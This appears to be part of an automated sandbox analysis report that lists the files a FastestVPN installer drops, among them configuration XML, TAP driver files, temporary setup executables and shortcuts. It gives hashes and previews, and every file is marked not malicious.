                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\yue4rrih.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):392
                                                                                                                    Entropy (8bit):4.996989451180429
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:TMHdGGpOiYX/rAFQD4t/rA0y4t/KDVcVNG3xT:2ddYDrUzRyJcq
                                                                                                                    MD5:75F959DE6230405A8560D6F9A11DD70A
                                                                                                                    SHA1:27918AF43AA6BFA90D6846194C69B2FD585D9C23
                                                                                                                    SHA-256:043AE8DB4FC74E6FA06D0AD10F331476FEB961B6CF3CB13EF4D2DBF38404FAD0
                                                                                                                    SHA-512:3FBF015F211CCF7E6BD59FDA696DF470BE7F68C7E38C0EBA36CABC063CA74254F2ED7365D7CA0DA887CE5B7E943CC39B6954660358896339F56728D50472FFC8
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="True" />.. <add key="AppCenterServiceEnabled_analytics" value="False" />.. <add key="AppCenterServiceEnabled_crashes" value="False" />.. <add key="AppCenterInstallId" value="096d70de-d9fb-4f35-b47f-04982d275a44" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\FastestVPN.exe_Url_eplmg30frbssdwvao0rtvq0jja20avcl\zp0q5o0g.newcfg

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):166
                                                                                                                    Entropy (8bit):4.816940765206284
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:vFWWMNHU8LdgCQcIMOofqRqLVuXKCWAawLEHJq0Vq4tlKaF9ULVuuQIMOn:TMVBd1IGpOSDH40Vq4t/G3QIT
                                                                                                                    MD5:90401247D5A6AF2729E2F23FBA0A6351
                                                                                                                    SHA1:977D37740A245C9A41AD5B8916C07A699B181A09
                                                                                                                    SHA-256:C4622D6EF948D316ED1C28E5BD2EE8CCE28BE710E9815CA67BDFF4C2648AACA4
                                                                                                                    SHA-512:1F47BC3EFD2AB121663FF12F753DF519DE18CFDE43C79C475D7CEC32D70AFC7CE8A696EBCE5BA2519CBAA4F58FBEDDEC082B3AC6EFCE50996D54A2975B2C27DE
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <appSettings>.. <add key="AppCenterEnabled" value="False" />.. </appSettings>..</configuration>

                                                                                                                    C:\Users\user\AppData\Local\FastestVPN\localdata.xml

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\FastestVPN.exe
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):554
                                                                                                                    Entropy (8bit):5.190490363715085
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:TMHdha8iPibgvv5K/jIDkcJ//0b6QnQxUrrCYb:2dk8avv5KER5yZp
                                                                                                                    MD5:770A9E878C690857807301C669D8002B
                                                                                                                    SHA1:EAEB35A2A438ADEE17B4020D4832355769EB2013
                                                                                                                    SHA-256:F54977607FE77962DC2E7CC4FC0AED2990D25A249E58AA9813F42EFD0CF51200
                                                                                                                    SHA-512:1E223D5C4213517B3400B887F320E42F19BC3C3F974ED4A4FBFA48157E2D5030BDA6DD9800A477DBE7FD8E76860DC24EE947F1FD9EE67294A5A9A6C1E8666CD3
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<Settings xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">.. <SplitTunnelingStatus>false</SplitTunnelingStatus>.. <HasSeenSplitTunneling>false</HasSeenSplitTunneling>.. <ConnectOnLaunch>false</ConnectOnLaunch>.. <EnableAdBlock>false</EnableAdBlock>.. <RedialOnDrop>false</RedialOnDrop>.. <IsIKSEnabled>false</IsIKSEnabled>.. <IsConnectFallbackEnabled>false</IsConnectFallbackEnabled>.. <IsMinimizeLaunchEnabled>false</IsMinimizeLaunchEnabled>..</Settings>

                                                                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FastestVPN.WindowsService.exe.log

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exe
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:modified
                                                                                                                    Size (bytes):1803
                                                                                                                    Entropy (8bit):5.3407719505798275
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:48:MO8mH2HKlIHoVnM6YHKh3oPtHo6hAHKzeEHKKHKx1qH6HKmTH3:fWqlIIVM6Yqh3oPtI6eqzPqKqxwaqqX
                                                                                                                    MD5:077007B5E9C8A61A51283FAC0B0B1260
                                                                                                                    SHA1:F9EABAC9D0664999C4D46AEB57C99D9041FD7F49
                                                                                                                    SHA-256:DD99B5C1E5B54D11E9BE692C4201D18FC5CF4764B5EFFA232EFF142617F9EA2A
                                                                                                                    SHA-512:007E65ABAA38E36B0DD4DD58EDFFDD4538B0F6D269F7067FEED2176DE1971EACF39E0E4BCF4365A383765C1DD49DDD2BFFA044EF94A8B50BB4270A17B74411FF
                                                                                                                    Malicious:false
                                                                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceProcess, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Confe64a9051#\48ee4ec9441351bbe4d9095c96b8ea01\System.Configuration.Install.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.X

                                                                                                                    C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1312
                                                                                                                    Entropy (8bit):5.411889572527169
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:3oytm1WSKco4KmBs4RPT6BmFoUebIlmjKcmZ9tXt/NK3R88bJ0mr4f:YyA1WSU4y4RQmFoUeUmfmZ9tlNWR83mg
                                                                                                                    MD5:28495EBA60CCDC08062C3153E9A7B3FC
                                                                                                                    SHA1:F0B348D1D4BCFD3C96441311F4B285CA5E7B1413
                                                                                                                    SHA-256:460E59BDAD1B6CAA98890965C8C491EAB4BE9DA766EEFDB6C4E87D5FCFCB255F
                                                                                                                    SHA-512:9F271B0A2C8C6E466A575C3B1F3D9C43437F8EEB62D6B04CBF2374FA6023FC836631FBEF31652EA0B668272121741523EC03FCF6BCAE93CBBA5F3B6D982E586E
                                                                                                                    Malicious:false
                                                                                                                    Preview:@...e.................................^..............@..........P................1]...E...........(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..|f........System.Core.D...............4..7..D.#V.............System.Management.AutomationL.................*gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices4.................%...K... ...........System.Xml..8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.<...............i..VdqF...|...........System.ConfigurationH................WY..2.M.&..g*(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.D....................+.H..!...e........System.Configuration.Ins

                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oxrryjc0.0t1.ps1

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):60
                                                                                                                    Entropy (8bit):4.038920595031593
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                    Malicious:false
                                                                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                    C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcmryg1y.24r.psm1

                                                                                                                    Download File
                                                                                                                    Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                    File Type:ASCII text, with no line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):60
                                                                                                                    Entropy (8bit):4.038920595031593
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                    MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                    SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                    SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                    SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                    Malicious:false
                                                                                                                    Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                    C:\Users\user\AppData\Local\Temp\is-CRM8G.tmp\_isetup\_setup64.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):6144
                                                                                                                    Entropy (8bit):4.720366600008286
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:96:sfkcXegaJ/ZAYNzcld1xaX12p+gt1sONA0:sfJEVYlvxaX12C6A0
                                                                                                                    MD5:E4211D6D009757C078A9FAC7FF4F03D4
                                                                                                                    SHA1:019CD56BA687D39D12D4B13991C9A42EA6BA03DA
                                                                                                                    SHA-256:388A796580234EFC95F3B1C70AD4CB44BFDDC7BA0F9203BF4902B9929B136F95
                                                                                                                    SHA-512:17257F15D843E88BB78ADCFB48184B8CE22109CC2C99E709432728A392AFAE7B808ED32289BA397207172DE990A354F15C2459B6797317DA8EA18B040C85787E
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......^...............l...............=\......=\......=\......Rich............................PE..d.....R..........#............................@.............................`.......,......................................................<!.......P..H....@..0.................................................................... ...............................text............................... ..`.rdata..|.... ......................@..@.data...,....0......................@....pdata..0....@......................@..@.rsrc...H....P......................@..@................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\Desktop\mnFHs2DuKg.exe
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3045888
                                                                                                                    Entropy (8bit):6.410663706225146
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:pdJYVM+9JtzZWnoS2VC23aun8+f5KuGP+VYNCWNtdH333tL:PJYVM+LtVt3P/KuGP+VYNCuf3339
                                                                                                                    MD5:319E022A72BA671928D266B7D372414E
                                                                                                                    SHA1:DC5F165F993F627F5E6CEA7F534ED32AD5706706
                                                                                                                    SHA-256:95BE08D58290084FE98D11615F966F4B5207D0698430FAEC352BEA1E35BD32A7
                                                                                                                    SHA-512:F647FB5996E01816FB5C055A2007CC8893F0E5EA1EEC7DFEDF8605139EB805C7FE9DA9FD875E4D386A12F4FD14DE4D5E08D7B86E71FE46FD6BD1DA46AF6EA307
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....gf..................*...........*.......*...@..........................P/...........@......@...................P,.n.....,.j:....,.$....................................................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.rsrc...$.....,.......+.............@..@.............`0......./.............@..@........................................................

                                                                                                                    C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\SET25AA.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\SET25CA.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10711
                                                                                                                    Entropy (8bit):7.2254581318251425
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                    MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                    SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                    SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                    SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                    C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\SET25DB.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\oemvista.inf (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:Windows setup INFormation
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):7537
                                                                                                                    Entropy (8bit):5.046488463217706
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:wr8tW9yCTi3K4vlQd22bjR+iAUC7bdP+io3DcNSj6jvKFkinuEQTXvzLd4Z:LWlGMdkxzo3DcNSj6jvKFkinuEQTXvzq
                                                                                                                    MD5:50D29CA2E3DDB8A696923420EC2AC4FA
                                                                                                                    SHA1:D85F4E65FE10F13DED1780DDBD074EDFC75F2D25
                                                                                                                    SHA-256:817DFF7F4944A255A0A33B8D74EB60A755D8D268CC7AFD46FCE41E102E0A004B
                                                                                                                    SHA-512:03778A9CDDD23639C88E24BB5D0446DA3A400BB6B3321FB35887CD23D88D0F7AD3FE911642CC7F8D16D29CD9E42106851B0028379E8DBCB3C6721C238FC4A0D3
                                                                                                                    Malicious:false
                                                                                                                    Preview:; ****************************************************************************..; * Copyright (C) 2002-2014 OpenVPN Technologies, Inc. *..; * This program is free software; you can redistribute it and/or modify *..; * it under the terms of the GNU General Public License version 2 *..; * as published by the Free Software Foundation. *..; ****************************************************************************....; SYNTAX CHECKER..; cd \WINDDK\3790\tools\chkinf..; chkinf c:\src\openvpn\tap-win32\i386\oemvista.inf..; OUTPUT -> file:///c:/WINDDK/3790/tools/chkinf/htm/c%23+src+openvpn+tap-win32+i386+__OemWin2k.htm....; INSTALL/REMOVE DRIVER..; tapinstall install OemVista.inf tapoas..; tapinstall update OemVista.inf tapoas..; tapinstall remove tapoas....;*********************************************************..; Note to Developers:..;..; If you are bundling the TAP-Windows driver with your app,..; you should try

                                                                                                                    C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\tap0901.cat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:data
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):10711
                                                                                                                    Entropy (8bit):7.2254581318251425
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:192:PqDhDNF748XJCO39JnxrEwJqKkhYCxXA6qnaj/rHr:OXPJxXxkh3xXhlzX
                                                                                                                    MD5:225E7BA0E5E2D46813E5C858A4D0D5B0
                                                                                                                    SHA1:5DD49014764F634164520583FD0CEC87AB1A1625
                                                                                                                    SHA-256:B0BAF5CB84FA4ACB34B77A6231052061DA6B8676D216833724B7A602622161FB
                                                                                                                    SHA-512:9C77ADF7E71ACA94489DFEB536F796A017B7C05771962274BAE2C614E2AE6799CCEB36CC58AC470184C37F52DEAC75988BB14E6A329F432C6D7CEDBCA18272A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:0.)...*.H........).0.)....1.0...`.H.e......0..M..+.....7.....>0..:0...+.....7..........dG.'$....g..191023085812Z0...+.....7.....0..T0.... .}..ID.U..;.t.`.U..h.z.F.......K1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0U..+.....7...1G0E0...+.....7.......010...`.H.e....... .}..ID.U..;.t.`.U..h.z.F.......K0....._Ne...=.....N.._-%1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0<..+.....7...1.0,...F.i.l.e........o.e.m.v.i.s.t.a...i.n.f...0.....D.......L..S.4..b.1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0.... .?;..{.x....H..4...k).VB.......1..0...+.....7...1...04..+.....7...1&0$...O.S.A.t.t.r........2.:.1.0...0...0:..+.....7...1,0*...F.i.l.e........t.a.p.0.9.0.1...s.y.s...0]..+.....7...1O0M0...+.....7...0...........010...`.H.e....... .?;..{.x....H..4...k).VB...........0...0....+.

                                                                                                                    C:\Users\user\AppData\Local\Temp\{10e48137-304b-b342-bb2b-4260fc9493d4}\tap0901.sys (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe
                                                                                                                    File Type:PE32+ executable (native) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):39920
                                                                                                                    Entropy (8bit):6.333649052940754
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:bCxLEO/+ApBG35KBOXZZoZmTD11a+uiExMFYQjdJxh63NOe:tCI46F1a+jExMFFjzv69
                                                                                                                    MD5:059E578D456043A8C3B76EC365B375F3
                                                                                                                    SHA1:42189B6A1B8C736397113BFC2283F5E1E1A44E8E
                                                                                                                    SHA-256:A0170CF78105CE757E0549D79E4AE7C412240E8B81D262A24D76A047F181F881
                                                                                                                    SHA-512:99E6B6AF018D0E3509D9DBE00301A7D5D6645A2070A8144ACFF04842F8BBACCD81E7651578D08F47639CD2B7D00EB64ACDDFA8725BCE9A073580B7FCF7964E6A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~..[...[...[....w..Z....w..^...[...m....w.._....w..^.../t..Q.../t..Z.../t..Z...Rich[...........................PE..d......].........."......Z.....................@....................................P.....`A....................................................<.......X....p..H....x...#...........R..8............................S...............P...............................text...W>.......@.................. ..h.rdata..|....P.......D..............@..H.data........`.......P..............@....pdata..H....p.......R..............@..HPAGE.................V.............. ..`INIT.................d.............. ..b.rsrc...X............p..............@..B.reloc...............v..............@..B................................................................................................................................................................................

                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\FastestVPN.lnk

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Icon number=0, Archive, ctime=Thu Oct 3 07:16:04 2024, mtime=Thu Oct 3 07:16:07 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1771
                                                                                                                    Entropy (8bit):3.2258279216591847
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:8TH52dS5pc5IcnLAsP2d/Z6d/nd/VkIbfd/VG8cm:8L4dS5pyTn8sud/Z6d/nd/Vkcd/VBc
                                                                                                                    MD5:C2460B581570F9B4A20DCB28B7B4D7F0
                                                                                                                    SHA1:E7FAED3D23465D0A5E22C32BFB4C982B7D6209C4
                                                                                                                    SHA-256:585F83A1E967EC073D235218809271814D6C5E284F6749219BC0C096F1CD6839
                                                                                                                    SHA-512:6948E80F54A03AC1FF770AB5966641EB07A65D6FCC66169273C0C79E755FFA5B93904A646B38B1606C70B72802BF841B2DFD457FF054691770B1770CBD1DC97C
                                                                                                                    Malicious:false
                                                                                                                    Preview:L..................F.@.. .....r}l.......l......$.....l...........................P.O. .:i.....+00.../C:\.....................1.....CY.B..PROGRA~1..t......O.ICY.B....B...............J......Y..P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....^.1.....CY.B..FASTES~1..F......CY.BCY.B....X.......................).F.a.s.t.e.s.t.V.P.N.....j.2..l...XH. .FASTES~1.EXE..N......CY.BCY.B....;.........................F.a.s.t.e.s.t.V.P.N...e.x.e.......Y...............-.......X...........i.YO.....C:\Program Files\FastestVPN\FastestVPN.exe..<.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.F.a.s.t.e.s.t.V.P.N...e.x.e...C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.(.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.F.a.s.t.e.s.t.V.P.N.\.a.p.p.-.i.c.o.n...i.c.o.........%SystemDrive%\Program Files\FastestVPN\app-icon.ico...............................................................................................................................

                                                                                                                    C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\FastestVPN.lnk

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Thu Oct 3 07:16:04 2024, mtime=Thu Oct 3 07:16:07 2024, atime=Thu Jun 27 19:18:16 2024, length=2059432, window=hide
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1801
                                                                                                                    Entropy (8bit):3.236687991522995
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:8gH52dS5pc5IcnLAsP4d/Z6d/SCqd/VkIbfd/VG8cm:8C4dS5pyTn8sAd/Z6d/sd/Vkcd/VBc
                                                                                                                    MD5:3A91C1B8AB7E3FABA2EEEA09FA03EF3A
                                                                                                                    SHA1:F778ED8B7D71F2208AD0F99B7BC8C7FC9B45F573
                                                                                                                    SHA-256:94E5DB7639C1F005FAD3FE95C55888AF71F717244037697DF7DF9D93DF3E5942
                                                                                                                    SHA-512:24BD6977F4B78D5F3DEC6288C564A5E5F7E51916F59E7AEF8ECA6DE091EAD5F10B4C569A04BC4EF62D883A669479B44ED72ACDBA31A9B836CD0A058A3B209529
                                                                                                                    Malicious:false
